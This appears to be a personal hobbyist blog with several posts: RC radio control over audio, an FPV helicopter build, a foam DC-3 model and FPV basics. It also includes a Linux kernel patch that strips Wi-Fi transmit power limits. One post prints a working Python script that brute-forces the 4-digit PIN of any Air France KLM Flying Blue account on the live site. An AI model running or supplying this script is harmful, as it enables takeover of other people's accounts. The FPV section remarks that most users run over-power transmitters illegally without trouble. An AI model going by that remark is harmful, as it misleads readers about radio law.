So you just got a new 500mW wifi card, like this mighty Alfa Networks AWUS036H.

However, you cannot use the most recent Linux driver with it, because your power is limited to 20db (100mW).
You just get a nasty:

Error for wireless request "Set Tx Power" (8B26) :
    SET failed on device blah0; Invalid argument.

You must use an old kernel, or revert to pretty old drivers which aren’t really stable. Setting the regulatory domain to your country does not seems to work, somehow, the device tells your kernel that your maximum transmit power just cannot exceed 20db. How annoying isn’t it?

And kind of dumb, when you live in a country where higher power is allowed, or you’ve got a license, or you’ve got a license and use the chipset in raw packet mode for non-wifi activities (oh, guess why I’m saying that!).

Anyway, make sure that using a higher power is legal for you, and if you are, as I could not find any direction how to do this, well, here’s how to override the protection. Note that while you’re doing this AT YOUR OWN RISK and there is NO WARRANTY this will work, or kill your card or is legal for you, I pretty much hate when they decide to block features by software.

Pretty much against what I would call the free software spirit, but hey, let’s not discuss that.

Code modifications after the jump.

Get the latest Linux kernel for your distribution, or just a vanilla kernel from http://www.kernel.org. I use 2.6.34, which is currently latest stable. Newer kernel might have different structures, code, etc.

Unpack it, and follow your distribution’s instructions and how to compile it, and make it boot. When it works properly, you can start modifying.

Edit file: net/mac80211/cfg.c

This file handles the card’s configuration and interfacing with iwconfig.

Look for the function ieee80211_set_tx_power, and in the case TX_POWER_FIXED, you’ll see a check, if requested dbm value is higher than channel max power, it returns EINVAL (Invalid Argument). Just comment that return -EINVAL out.

That allow the iwconfig command to work when you set the power higher than 20db.

Edit file: net/mac80211/main.c

This file is, well, the main mac80211 file alright?

Look for the function ieee80211_hw_config . This function is called after the code in the cfg.c file we’ve just edited. Somewhere you will find a check, if local user power level is higher than 0 (aka, if you’re trying to set your own power level), it will set the power to whatever is the minimum value between the maximum allowed power and your local power. You can see that just above, when it assigns chan->max_power to power, or max_power – power_constr_level.

Simply replace it to always take your local power. So like that:

//power = min(power, local->user_power_level);
power = local->user_power_level;

Now just save and compile. rmmod mac80211 and insmod net/mac80211/mac80211.ko and try !

It should work. You can also replace your original .ko (kernel extension) by the one you’ve just created.

A last word of warning, do not exceed your device maximum manufacturer power rating. You have just removed the safe-guard completely, and you may burn your device. And finally, remember to only use a power level that is legal in your area.

Have fun.

If you’ve read my previous article about controlling your little planes and helis via your computer for, basically free, well, here’s a quick Windows port of the program.

You can get the initial version here: Audio PPM 0.1.

The source code is here (it’s not really cleaned up, but it’s there!) Audio PPM src 0.1.

You’ll also need the SlimDX libraries.

This version does not currently interleave stereo audio channels, but can still spit out 192 steps on HD audio. Seems plenty enough to control your stuff and have fun !

In fact, even on good old AC’97 and 96 steps it seems to be very decent.

Please note that no other sound should be coming out of your speakers when you use this program.. quite logical anyway. Read the included README (and LICENSE(s) while you’re at it) for more information.

Please also note that this application has been made using Visual Studio Express 2010 beta, and this might possible cause troubles for the runtime. I’ll download and rebuild it using Visual Studio Express 2008 in the next version.

The few things I encountered while coding this application:

- WaveOut buffer and timing management sucks, but it works when you sort it out

- DirectSound latency is horrible

-XAudio2 is almost decent.. well.. I’m using it.

- ASIO drivers have an annoying license and annoying to adapt the interface.. thus they’re not used!

-No idea if you can use the XACT audio support without the XNA stuff.

-DirectInput, sharp opposite of DirectSound is a little piece of Win.

This means one RC Radio controls the other one. Chances are that you also use it, when you plug your RC Radio on your computer to fly your simulator.

These devices are expensive. However, a PPM signal can travel very well over an audio channel at high rate and high precision.

I first proposed this solution on a well known RC forum, where I got a usual warm reception “it can’t work”. Somehow, as a weak human I decided they know better and left it out.

Few weeks later, I got myself one of these USB2PPM cable for $1 as part as a cheap developer program. However this cable cannot yet work on my Spektrum DX7 due to a different PPM signal. I notified the author so this might be fixed.

However, it was a good occasion for my PPM over audio idea to re-surface. You know, this kind of: “but of course it’s going to work, what was I thinking?!”. I thus bring to you a small open source PPM generator, that should work with most RC Radios and computers and will cost you nothing.

Requirements

- An RC Radio with a trainer port supporting PPM (I use a Spektrum DX7)

- A mono or stereo audio cable male-male or stereo/mono male plugs

- A pair of hands and preferably 10 fingers (your own will do.)

Plugs

While this is UNTESTED with other than Spektrum radios, this should work for your own radio, if you’re willing to solder and program a little bit.  So DO THIS AT YOUR OWN RISKS. Now that you’re warned, let’s go..

I’ll link several times to the excellent SmartPropoPlus, which does just the opposite of what we’re going here, sending PPM from the RC Radio to the computer using an audio cable. (In case you did not get it yet, we send PPM from the computer to the RC Radio instead).

Spektrum/JR (Easiest, if you don’t feel like you need to protect your sound card you can use a regular stereo or mono male-male wire – i’m doing just that!):

http://www.smartpropoplus.com/dnn/Hardware/Spektrum/tabid/94/Default.aspx

Futaba Square:

http://www.smartpropoplus.com/dnn/Hardware/FutabaRect/tabid/75/Default.aspx

Others:

http://www.smartpropoplus.com/dnn/Hardware/tabid/57/Default.aspx

Please note that PCM probably works very well too, but you’ll need to modify the program, I don’t have a PCM Radio yet. We’re only dealing with PPM today!

The Spektrum DX7 PPM signal

The PPM frame is 22.5 milliseconds.

It starts with a PPM “stop”, negative signal of 0.4 milliseconds.

Each channel (8 channels, no matter how many the transmitter supports) is a positive signal of 0.7 milliseconds to 1.5 milliseconds. This means, 0.7 milliseconds is “full left” servo position, 1.5 milliseconds is “full right” servo position and 1.1 milliseconds is “middle” or neutral position (default stick position, except for throttle).

Channels are:

1. Throttle
2. Ailerons
3. Vertical stabilizer
4. Rudder
5. Aux2 or Gear
6. Aux2 or Gear
7. Usually a mix
8. Unused on the DX7

After a channel signal, a 0.4 millisecond “stop” is inserted.

Once all channels and stop have been stored into the PPM frame, a leading “blank” (flat signal) is inserted so that the complete signal is 22.5 milliseconds (so the size of the flat signal depends on servos positions, that’s why it’s calculated at the end.. even if its put at the start of the signal).

The amplitude is important. It depends on your sound card. In reality, it’s 1.3volts. If the amplitude is incorrect, the Spektrum DX7 just won’t understand the PPM signal!

Program

Currently, this is only a Linux program using ALSA as audio output. This is basically a demo program.

You’ll need pygtk, gtk, alsa-lib, pyalsaaudio to run the program.
Please excuse the code, it’s only used as a working proof of concept, and may help you code your own!
Here is the PPM generation extract only:

#!/usr/bin/python
 
# Licensed under the terms of the GPL version 3.
# http://www.gnu.org/licenses/gpl-3.0.html
# Copyright kang@insecure.ws
 
class GenSignal:
	signal = ""
	duration = 0.0225 # seconds
	mmdiv = 4.4 #0.1ms
	samplerate = 44100 # Hz
	samples = int(duration*samplerate) #992.25 - python rounds up but its ok, our signal is still way more precise than others
#	amplitude = 32760 #max volume.. change it for your sound card or it wont work.
	amplitude = 20262
 
	channels = {1: 0.0, #throttle
		2: 0.0,
		3: 0.0,
		4: 0.0,
		5: 0.0,
		6: 0.0,
		7: 0.0,
		8: 0.0,
	}
 
	def generate(self):
		clist = []
		#start with a stop
		clist += [-self.amplitude]*int(self.mmdiv*4)
		for i in self.channels:
			#ppm base (0.7ms)
			clist += [self.amplitude]*int(self.mmdiv*7)
			#ppm signal (on spektrum, its from 0.7ms to 1.5ms max)
			servo = self.channels[i]*0.75/100
			signal = (self.mmdiv*10)*servo
			clist += [self.amplitude]*int( signal )
			#on spektrum, the stop is fixed size
			clist += [-self.amplitude]*int(self.mmdiv*4)
 
		#complete the ppm signal with a starting null signal that fill in the 22.5ms frame (here f.ex 992 self.samples)
		list = []
		for i in range(0, self.samples-len(clist)):
			list += [0]
 
		#add our ppm channels
		list += clist
 
		s=pack('<'+self.samples*'l',*list)
		#s is a raw PCM/wav signal, you can save it to wave or send it over PCM compatible interfaces, like ALSA (not to confuse with RC PCM, similar but different.)

The full program is available here (again, Linux only!):
http://www.insecure.ws/warehouse/PPM/ppm.tar.bz2

Future

I plan to port this program to Windows (in fact, it might become Windows only for a while as my video capture USB stick has only Windows drivers and I can’t be bothered to reverse them on Linux. Then I can fly my stuff using a joystick while looking at the video feed . Feel free to make your own program tho. I’ll appreciate if there’s a mention of where you got the idea from

The Windows program will interface with Windows joysticks so you can use your joystick to control your RC aircraft. With luck, someone will improve it later to support PCM and maybe trims/mixing. I do not currently plan to implement it as my Spektrum DX7 takes care of this (P-LINK mode), but I might upon request.

Video demo

Unlike co-axials (2 motors and double blade main rotor), it is very precise. However, thanks to the integrated gyroscope and original head design (fly bar orientation) it is also very stable. Impressively stable for such a tiny helicopter in fact.

In short, a perfect platform for experimenting a micro remote video controlled heli

This heli can be remote controlled within approximately 300 to 800 meters, although the battery will probably empty before you reach that.. (technically, it could further, but in practice it depends a lot on your flying field)

The beast

Indoor video at night

The helicopter

You can get the Blade mSR at most RC hobby shops for around 120 to 160 USD including battery and charger (including or not the RC transmitter, depending on the version: RTF has the transmitter, BNF does not).

Size: 19 cm long
Weight: 28 gr
Flight time: 8 min

While it’s extremely crash resistant (go-straight-in-the-wall-at-max-speed-and-keep-flying kind of resistant), this helicopter has one design issue. The rear motor cap is popping off easily after a few crashes, even very light ones. Due to the small size, you will eventually crash.

This is easily solved by tapping the rear of the motor cap, I recommend elastic electric tape (black if possible, so its invisible). Stretch it and secure the rear of the tail rotor. Note that some push the propeller  fully into the motor axis to protect it. In my experience the tape has been more reliable.

Motor cap all fixed up!

Fly it until you get conformable with it, and you can hover without too much movement.

It is best (but not required), if the heli also stays stationary when changing heading (turning on itself). This will not work by default. You need an advanced RC transmitter, and change the mixing between the rudder (tail rotor) and ailerons/stab (main rotor). This can be done with a Spektrum DX7, DX6i, DX8 or DX10T, or JR x9303/9305, 11x, 12x for example.

The RTF transmitter will not allow this. The more stable the heli is, the easier video piloting will be.

The (video) equipment

The video equipment I use weights a grand 4.9 gr. Following this is a list of what you need to get (note that you can of course use different components, but this is what I used.

To this day it is unlikely that you find anything better or much cheaper) . Most of it will need to be imported (shipping adds a bit to the price) from whatever country they’re selling it.

I tried to link the products to the same companies to minimize shipping costs, however sometimes it is slightly cheaper to order elsewhere. In some other cases, there’s just no other company selling these!

- Flytron FC420 CMOS 420TVL camera (62.00 USD)

- Cheaper 480 TVL alternative (59.00 USD)

- Airwave 5.8Ghz 25mW compact video transmitter (20.49 USD)

- Airwave 5.8Ghz video receiver with patch antenna (79.95 USD)

- HobbyKing micro-JST HX plugs (1.99 USD) Get many of those, like 20, because they break easily.

- HobbyKing 50mah 20C zippy batteries (1.99 USD) Get a few of these, like 2 or 3 at least so you don’t have to wait too long between flights, and if you break one.. well at this price, just have some spare you know.

- Hyperion G3 CX 130mah 25C batteries (6.90 EUR) Likewise, get a few of those. Probably 4 at least.

- A 3S battery of 1000 mah (16.95 USD), or more for the video receiver, with e.g. a JST plug

- A 3S battery monitor (6.99USD) (to avoid depleting the receiver battery, it would destroy the battery)

- A JST to barrel plug (6.49 USD) (to connect the battery to the receiver)

- A charger for the 3s battery (There are so many, a good choice could be the Turnigy Accucel 6 from HobbyKing, but even a tiny $15 3S charger works)

Note that you can just use a wall plug of 9-12V for the receiver instead of the battery+monitor+JST/barrel stuff, but then it means you can’t use your things outside/on the go.

- An EasyCap USB capture stick (23.95 USD) (this is not required, it let you view/record the video on your PC if you do not have RCA/Composite input, or other viewing equipement (like a TV with these inputs!) )

Approximate grand total: 220 USD excluding the heli (120-165 USD additional)

The costs might be lower if you already own some of the components. For me it’s just been the camera and airwave missing (so 82 USD). This sounds like much but it is actually cheap for this area of the RC hobby.  Rc-tech.ch sells a similar setup with lower quality and range, for 400 USD for example.

Things to get from your local store (or that you might have already):

- Some soldering iron (small if possible), soldering tin (again, small, like 1mm diameter)

- Some electric tape, small electric wires (between 0.5 and 0.9mm diameter)

- Some shrink tubing (2mm diameter approx). You might also use electric tape instead. its lighter, too.

- some single core wire, for the antenna, it needs to be rigid enough that it can hold straight in the air (see the RC receiver copper antenna in the mSR? something like that is good!)

- Scissors, squeezers, forceps etc.

- Multimeter (not required, but useful for checking everything is ok)

Assembly

This is quite easy, really. Be careful to discharge your static electricity (touch something grounded, like a metallic heating, or your PC case).

Be careful when soldering, clean up your iron (steel wool), tin it, tin the wires, and when you solder a wire to a board (wire and board must be “pre-tined”), always have some tin on the iron. A good soldering does not take more than 5 seconds, and prevents burning the board/wires/etc.

The Airwave transmitter

The transmitter comes with pins and a metal heat-sink. We need to remove that.

Let’s start with the pins

- heat up the bottom of each pin (the tin) while slowly pulling the pin at the other end with a forceps (not fingers, you will burn yourself). It’s a bit tedious, but not very hard. If the black plastic holding the row of pins melts a little, do not worry. You can trash it afterwards. Just do not burn the board.

- check each spot where the pin was is clearly separated from the other spots (tin must not make contact), and that it has minimum tin on it (if you don’t see a hole, but a little square of tin, then that’s good)

Now, move on to the heat-sink

With a screwdriver, pop off the top of the heat-sink. This is quite easy (enlarge the top of the heat-sink a bit with the screwdriver first then it goes off by itself).

There will be 4 metal sides left. Those are a little more delicate. You’ll noticed each corner has a small square metal part. Grab your squeezer/forceps (if possible, not big ones) and grab one of these corners.

Pull slightly but strongly until the square goes in-line with the rest of the metal bar, then gently pull/turn/bend the metal until it gets off the board. The soldering holding the metal bar is minimum and does not require heating to get off. Once the bar is getting away its easy to “peel it off”. repeat with each corner until the heat-sink is gone.

During this process, make sure you do not damage the board!

Airwave TX ready to go!

The zippy 50mah batteries

You will need to solder the micro JST HX plugs on the batteries. Cut some micro JST HX wires in half (one per battery) and keep the male plug part of the wire. (keep at least one female side).

Prepare the 2 wires (black and red) for soldering and put your shrink tube onto it if you decide to use it. Super glue the wires to the plug, a small drop should be enough.

This is necessary, because these cheap plugs are going to wear off and break rapidly (they sometimes just break at first use!). They could even damage your battery or heli by shorting it! I had an extensive experience of those plugs and let me repeat again: do the super glue trick, you’ll thanks yourself later.

Secure the battery somewhere (multi-tool, tape, or someone elses hand for example) and make sure you never put the 2 pad  (+ and -) into contact or the battery might break/explose/catch fire (really!). Be careful with the solering iron, its easy to short them that way.

Put some tin on each pad, let it heat up long enough for the tin to grip (i usually need at least 20s), else the tin will just fall off.

When ready, put the wires on the pads, solder, let it dry, verify its not going to break (pull gently on the wires, if it breaks, re-solder and make sure the tin grip to the pad).

You can then put the shrink wrap/tubes on top of the solder or just your electric tape, to ensure the battery won’t be shorted.

Repeat for each battery of course.

The Hyperion batteries do not need soldering, at these have standard micro JST HX plugs already.

Zippy battery is ready

Making the 5.8Ghz antenna

Take your single core wire and mesure the size corresponding to your frequency. I use 5860mhz, as it does not require any soldering (if you do not know, just use the same frequency as I do).

Here is one calculator to get the antenna length: http://www.csgnetwork.com/antennaevcalc.html

The quarter wave length for this 5860Mhz frequency is therefore 1.2 cm. This is the length we need. Cut approx 1.4 cm, so that 2mm are used for the soldering. The 1.2cm must be the part of the antenna that is clear of the board/solder pad.

Since we use this antenna for a tiny heli and we’re not going to go far, its usually ok to just cut the antenna and use it. However for maximum performance, you might want to cut it a bit longer than required, and test the range, and trim it as necessary until you get the best range.

1/4 wave antenna and micro camera

Soldering the video transmitter and camera

Cut 3 short wires (if possible one black, one red and one of another color so that you don’t mix up), of approx 3 to 5 cm. Prepare them for soldering.

Solder the positive (+) of the video transmitter to the camera’s positive (+)

Solder the video pad of the video transmitter to the camera’s video pad

Solder the negative/ground (-) of the video transmitter to the camera’s ground.

You can shrink wrap/tube the camera’s wire, or use electric tape. its so small that I just use electric tape here.

Here are the pins of the camera (notice the long rectangular component for orientation!)

Image courtesy of flytron.com

And the pins of the Airwave transmitter (Vcc is +, GND is -, RFOut is the antenna):

Pre-selecting channels

The easiest, lightest way is just to do nothing. This will give you 5860mhz (channel 7).

However, you can solder the “BIT” pins to ground using small wires, if you which to select another frequency.

Use this table for reference (OPEN means no soldering, to GND means link it to the ground (-) ):

If you change the frequency, don’t forget to cut the proper antenna length (as discussed earlier)

Soldering the Airwave transmitter antenna

Carefully solder the antenna to the RFout pin and verify it’s the length you planned (if required, trim, re-solder, or make a new, longer antenna).

Keep in mind the antenna will be vertical, pointing to the top or bottom.

Light enough for you?

Soldering the battery wires

Remember the micro JST-HX female plug you’ve kept from soldering batteries? Time to put “her” at good use. Solder the + and – (red is +, black is-) directly on the Airwave transmitter + and -. No voltage conversion is required, even thus the transmitter specs says it accepts a minimum of 4.8V, it actually works at 3.3V (the batteries deliver from 3.3V to 4.2V)

If you did not use shrink tube/wrap, you may also use electric tape once again, around the pins of the airwave, to avoid shortcuts.

You should now have a nice “micro FPV” set, ready to go. Check the connections with your multimeter (verify that there are no shortcuts).

Testing the video transmission

Alright, the first exciting part!

Plug your battery, battery monitor to the Airwave receiver (video the JST/barrel connector), deploy the patch antenna, turn on, and select the channel you planned to use (e.g. channel 7 in my examples).

Receiver, batterie and easyCap ready and powered

Plug the audio/video wires (we’re not using audio so it doesn’t matter if you plug them), they’re red/white/yellow from the receiver to your NTSC TV, Goggles, or even computer/laptop if you can (via the EasyCap for example). Again, they must be set to NTSC. (most devices allow PAL and NTSC).

Verify you get a signal (black/white “snow” screen) like this:

If you do not (black screen e.g.), check your Airwave receiver and connections, or EasyCap configuration. (While we’re at it, once again, if you use EasyCap make sure you set it to NTSC. The camera is available only as NTSC).

Plug one of the zippy 50mah to the micro FPV system you’ve just built, make sure nothing heats up or burn or explodes or kill your cat (else unplug quickly).

You should now get an image on the screen. If you do not, check your connections again, if possible with a multimeter. Make sure you damaged nothing. Eventually, ask someone else for assistance.

Once you played a bit with it, check the camera orientation, so that you can differentiate the top of the camera. This will be useful to place it properly (and not reversed..) in the helicopter. Make sure you turn it off by unplugging the battery, as it would drain it up and kill the battery. (you may also turn off the receiver while you are not using it).

Installation on the Blade mSR

Finally you say?

You are of course free to install it however you please, but I will detail my own installation as it seems to balance the heli well enough.

One important thing, is to have the video transmitter as far as possible from the RC receiver.. barely possible on and heli like this one however.

Camera

The camera is at the front, slightly facing downwards. I have cut the canopy at the front (you can get a new one for 12-15USD, so that you can exchange them when you don’t want to fly FPV ! they’re easily removable.).

There are 2 small bits of plastic shapes which will make your life hell to place the camera properly. I decide to just cut them out and replace them by clear tape ! however you do it, make sure the camera is well placed, and that the image is going to be correct (power it on to very) and not reversed for example. I used 2 straps of electric tape behind the camera to fix it inside the canopy. It’s flexible and easy to remove. Resists crashes well.

Video Transmitter

I taped it right under the canopy with electric tape. The tape covers the sensible parts of the transmitter as well as holding it onto the canopy. The part of the board with the components is facing to the ground, and will heat up slightly (it wont burn, but make sure you use electric tape so that it doesnt melt the tape..).

The antenna is installed upwards or downwards, just make sure it does not touch the blades or the ground so that it doesnt get damaged. It is important to be vertical.

While you’re at it, verify that your Blade mSR RC receiver antenna is horizontal (it is like that, by default).

This will provide the best signal in both cases.

Video transmitter taped on the canopy (and the cute 1/4 antenna)

UPDATE:

I have now put the transmitter INSIDE the cockpit, and the antenna goes through the plastic. Cooling and video reception are a little less good, but there’s a good reason for this. See the metal crystal (tube thing)? That’s right. One day, i’ve had a bad landing. Not really a big crash really. It was enough to break the crystal (internally), which effectively kills the video TX

Powering up, in the heli

I use a piece of tape to fix the video transmitter battery on the rear skids of the mSR, or sometimes on the tail bom (its not as pretty), to balance the center of gravity (the camera and video transmitter being at the front, they slightly unbalance the heli).

I put the hyperion battery in the regular tray of the Blade mSR, maybe a bit slightly more on the back than usual for the same reason.

When you plug the mSR battery, make sure it is on flat ground. This is because the gyroscope initialize when you plug the battery. If the heli is not on flat ground when it initialize, its going to try to correct wrongly in the air and be unstable/hard to pilot.

Try first to fly it around without looking at the video screen. When you’re comfortable, and the balance of the heli is correct, you can fly with the video. You can even fly only watching the video!

The heli and components are quite strong, so a few crashes usually won’t do no harm, but hey, it’s even better if you don’t crash…

When the video goes “snowy” again, land and remove the video (zippy) battery quickly, else you will damage it. In fact, you can just change/recharge it every 10min to make sure this doesn’t happen. It’s charging very quickly due to the small capacity.

Have fun, and if you record some videos of your flights using this setup, be sure to post them here in the comments!

Thanks!

I, for one, fly with Air France KLM a few dozen times a year.

They have a membership program, which grants you discounts on flights, book flights, get “free” items,  and other advantages, called Flying Blue.

Like most of these membership programs these days, its accessible online, and you actually do most of the stuff with it online.

The identification code is a 10 digits code formatted like this one: 201xxxxxxx

The password is a 4 digits number.

Well, how many passwords can you have for one identification code? that’s right, 10 000.

Sounds like much? Not really. That’s 4 digits with 10 values each. Passwords considered secure nowadays have 8 digits with approx. 104 values each (it can be more or less).

Of course that’s not all what will make a password secure, but this is not the point.

I lost my password to this service a while ago, and despite my E-Mail and real life requests did not get a new password after a few month, so I decided I’d just recover it myself. And recover it I did.

A simple script takes an hour to test all the combinations. The issue lies in the fact that you can just put any other identification code, and find the password for it (effectively getting anyone’s password).

I have notified Air France KLM 3 month ago about this, without a single reply (just like the requests to get the password reset afterall). They just do not care.

The script to do this is after the jump.

#!/usr/bin/python
import urllib2, re, urllib, cookielib
import sys
 
HOST="https://secure.klm.com/travel/logon/de_en?resultCode=3"
HOST1="https://secure.klm.com/"
USER_AGENT='Mozilla/4.0 (compatible;MSIE 5.5;Windows NT)'
USER="" #put the identification code here
MAX=9999
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
r = urllib2.urlopen(urllib2.Request(HOST1))
 
for i in xrange(0, MAX+1):
        pin = "0000"
        ln = len(str(i))
        if ln == 3:
                pin = "0"+str(i)
        elif ln == 2:
                pin = "00"+str(i)
        elif ln == 1:
                pin = "000"+str(i)
        else:
                pin = str(i)
        form = {'miles': USER,
                'forwardurl': '',
                'pin': pin,
                'remember': 'on',
                }
        data = urllib.urlencode(form)
        headers = {'User-Agent': USER_AGENT}
        req = urllib2.Request(HOST, data, headers)
        r = urllib2.urlopen(req)
        source = r.read()
        if re.search('Unknown user name', source) == None:
                print "LOGIN OK:", USER, pin
                sys.exit()
        else:
                print ":(", pin

Easy as pie :p

I quite like the DC-3 look. It has been converted as a military plane called the C-47  Skytrain (they share the same airframe).

Quick overview of the research and build planning

The wing shape is hard to mistake for another plane, as well as the pronounced wing angle or the large rudder control surface.

The engine’s propellers are also strangely extremely close to the fuselage.

I have found the original plane’s dimensions and characteristics on wikipedia:

- 19.7 meters long

- 29 meters wingspan

- 5.16 meters high

- 8.3 tons empty, 11.4 tons maximum load

- 3 bladed Hamilton Standard 23E50 propellers

I also found out various things while researching the plane’s characteristics, like this funny story. This is a guy who’s been trying to take off with a DC-3 and a glider attached, but could not. That is because the DC-3′s wings have a negative angle of attack, which are sticking it to the ground until you pull. This is done to allow taxiing with the rudder, as wheels where not linked to the sterring system.

For my model, I decided to use a slightly positive angle of attack, since I don’t care all that much for taxiing and it makes the flying easier (the plane stays straight without using the horizontal stabilizer too much).

I decided to use a complete foam construction, scaled at approx 1:50. The wings were made by a CNC system here http://www.fly-and-fun2002.de/ after I sent the precise mesurements of course. This ensure the wings are perfectly cut as its the most important part of the plane. The airfoil profile is NACA2412.

The drawing gives all the mesurements necessary. Other parts of the plane (fuselage, rudder, horizontal stabilizer, inlets and motors) where mesured in the same manner, and printed out.

The fuselage is then cut from a block of styrofoam, as instructed by Thomas’s website. Everything was cut with a regular metal saw and sharp knife. I would recommand a “hotwire” however (basically, a wire that is hot enough to cut through the foam), as the other tools cannot make a perfect cut on large pieces. Everything is heavily sanded afterwards.

Most of the modelling is done by sanding and thus approximate.

“Pictured building”

First we draw the printed version on a block of foam…

Then we cut a raw version of the fuselage… (note the very unperfect cut of the saw)

We cut all sides as well, it start to look like remotely like a fuselage… (note the multiple markers to help with the cut)

And we have something that look remotely like a plane (yeah sort of!). Note the paper version I made to give me an idea of the design of the plane when finished. Plans for the paper version are from fiddlers green.

At this point, I cut all angles at 30 degres with the saw, and start sanding heavily.

Wings parts glued together, engines dones, more sanding (it looks like a peeled potatoe at this point.)

Note that the propellers are 2 bladed, as 3 blades would draw too much current and fry the tiny speed controllers.

Also, they’re mounted a bit further apart than the original due to this, else they would hit the fuselage. If i remade it, I would make the central wing larger (even if it wouldnt be scale size anymore). However it looks ok like this as well.

The  small HobbyKing AP03 motors fit inside the foam and the wires are going through.

Even more sanding, it  start to look like something! (motors are not yet glued in and “fall” out)

At this point, I’ve cut and sand stabilizer and rudder (the rudder is not that nice, maybe i’ll remake one). Then a large area of the cockpit is “chopped off” the plane to allow “digging” the foam (weight) and placing the electronics. There is an AR6400L and a 450mah 1S zippy battery in there currently. Digging was done by precutting sides with a sharp knife, and really actally dig with a screwdriver and various such tools, then heavily sanded. Once again a hotwire would have done this much quicker and nicer I guess. However the result here isn’t so bad. Note that I digged also the rear of the fuselage, behind the AR6400L receiver, mainly for weight issues.

When the cockpitt/canopy is closed, you can’t see the cut!(but you can see the ugly rudder

Current weight for the complete airframe is 26.1 grams. Not too bad I hope, but I guess it could have been better. Used lot of glue, and didn’t sand as hard as possible inside the fuselage by fear of fragilizing something.

Parts used (so far)

- Foam blocks (free / from Thomas)

- UHU Por glue (foam)

- UHU Hart glue (for plastics etc)

- Metal saw

- Hobby/Sharp knife(s)

- Various screwdrivers (mind you, not for actual screwing)

- AP03 7500kv engine (x2)

- XP3A micro ESC (x2) (this stuff drives the motors)

- GWS 3020 propeller (x2)

- AR6400L Spektrum receiver (2 servos on board for stab and rudder)

- SPMAS200L “Long Throw” micro servos (x2) (for ailerons)

- Ponal wood blue and japan paper (ultra light paper you can find when buying a shirt for example), for covering

- Ultra thin electronic wire (0.1 mm) (for motors linkage)

- 1mm carbon fiber tubes (for stab and rudder linkage)

- Zippy 450mah 20C, Hyperion G3 240mah 25C 1S batteries

- Mini JST-HX connectors (soldered manually to the batteries)

Thanks a lot to Thomas who helped me with absolutely everything. His website: http://www.fly2air.com (with a lot of nice planes!)

I have decided to start experimenting with a new kind of remote control planes (RC planes), those ones carrying a camera and video transmitter, which you control from the ground like a drone.

Ideally, with a good HD camera, you can make nice artistic movies of your favorite places (as long as you respect the law) from a point of view you couldn’t have before.

However, FPV, or First Person View remote control require assembling, soldering, and basically building up the whole system by yourself. There are a lot of issues which are very sparsely documented and no real effort has been done to document this half decently.

I’ll just report what I have done, and how, for anyone to reproduce if they wish to.

Basics

There are a few components that you will find in a FPV plane:

- The camera(s)

- The video transmitter(s)

- Various sensors (GPS, current, battery, radio signal, and sometimes more)

- Possible control chip, or video interfacing (OSD – On Screen Display of sensor’s values), usually both are integrated on the same circuit

- Remote control receiver

- Gyroscope

- Possible head-tracker for pan and tilt camera

- Possible auto-pilot or assisted piloting (called fly-by-wire), associated with infra-red horizon sensors usually

Camera

There are various kind of cameras available. Their resolution is expressed in TVL (Television Lines).

Basically, a 380 to 420 TVL camera brings a VHS-like quality video. It’s not very good, but its quite decent.

A 480 to 500 TVL camera is nearer to DVD quality. It’s pretty good. 550 TVL cameras are even better.

There are no better cameras, and they wouldn’t be useful because we are limited by the way we transmit the video: PAL or NTSC, which are only “standard resolution”, and not “HD”.

These camera have “3 wires”, 1 video, 1 power (+), 1 ground (-) and usually using CCD technology (not CMOS, image is usually bad with vibrations). The one listed usually let you watch the sun without destroying the image too much (so you can fly) and work well in low light conditions.

Here are a few I like:

Panasonic CX161

A very good little camera. With the proper (plastic!) lens, its pretty lightweight (10 to 14 grams). Only 380 TVL, but a good one for this low resolution!

I can only recommend the excellent vendor http://www.GolfRaider.com (you can find their 2.9mm lens+ CX161 on eBay, if the link is invalid by the time you read this, make a search). This vendor is not only the nicest but also the cheapest!

A pretty good firt buy in any case.

Sony SuperHAD 480-520 TVL

You will find this camera under various names in various “FPV shops”. Its a little heavier than the Panasonic (24-50 grams), and sometimes fitted with a night-vision mode (e.g. “KX-191″)

Sony SN555

This camera also has a few other names, and is basically a SuperHAD with 550TVL. It usually does not have night-vision mode, but weights only 29 grams. It’s quite expensive also, at least 150 USD, but probably one of the best quality available.

HD Cameras

Usually, you have a regular camera and a HD camera. Simply because the HD camera cannot retransmit the video to the ground, so it is only used as a recording device.

Some cameras however let you do this. Mine is a Toshiba Camileo P10. The standard resolution “3 wires” output is 480 TVL. This is quite decent. The image has black lines on top and bottom due to the 16/9 to 4/3 conversion, and has a white timer in the black line. Not that clean, but it works fine when you don’t want 2 cameras on-board. Note that HD cameras usually don’t work that well when pointed to the sun, so don’t crash

Recommendation: CX 161 for starters or small planes, HD camera otherwise

The video transmitter and receiver

These transmitters have a power restriction and frequency restriction that depend on where you live.

In short:

- 2.4Ghz up to 10mW is ok anywhere

- 5.8Ghz up to 25mW is ok anywhere

- Most 1.2/1.3Ghz are forbidden in USA (Real planes)

- 900Mhz is forbidden in Europe (GSM)

Using a higher power transmitter usually require a HAM (Amateur Radio License – Technician Class). Most however do not have one and operate them illegally without troubles, just make sure you do not use the forbidden frequencies for your country (those will get you in troubles real quick)

The higher the frequency, the more sensible to obstacles. 2.4Ghz does not go well through walls, tree, rain, and 5.8Ghz even less.

900Mhz transmitter chips are old and usually of bad quality thus even at high power they’re not always as good as high frequency ones.
1.3Ghz transmitters operate nearby the GPS frequencies, so can diminish their performance or even plainly jam them.

You may not use a video transmitter with the same range of frequencies as your radio transmitter, or they will jam each other, even at 2.4Ghz, the signal will work but be strongly reduced.

As a result, most people use 2.4ghz video transmitters, either 10mW (few hundred meters), or 500mW (long range, few kilometres).  Some people use 5.8Ghz (less interferences since 2.4Ghz is used by many systems), and some 900mhz, since it works with 2.4Ghz radios.

Some also use 1.3Ghz and put the GPS far enough that it doesnt get jamed. 1.3 Ghz systems usually offer the best range due to lower frequency and recent chips.

Finally, some use the 900mhz because they live in the USA, and do not want 2.4Ghz video (have a 2.4Ghz transmitter or too much interferences)

Very good 2.4Ghz transmitters are based on either the Airwave or Lawmate chipsets.

Cheapest 5.8Ghz ones are based on the Airwave chipset (others are 10x the price for the same performance)

1.3Ghz comes from China usually and its better to pay a little premium and use ones selected by “FPV shops” instead of getting a bad one. However, these are all coming from the same places thus twice cheaper directly from China/Hong-Kong.

Recommendation:  2.4Ghz, 10mW or 500mW. FatShark 10mW if you plan to stay legal, and get video goggles at the same time (see lower, “Video Goggles”)

Remote control

Most people simply use their 35Mhz, 41Mhz or 72Mhz RC systems. They’re relatively cheap, work well, do not interfere with anything  on the plane and have a long range (1-3km).

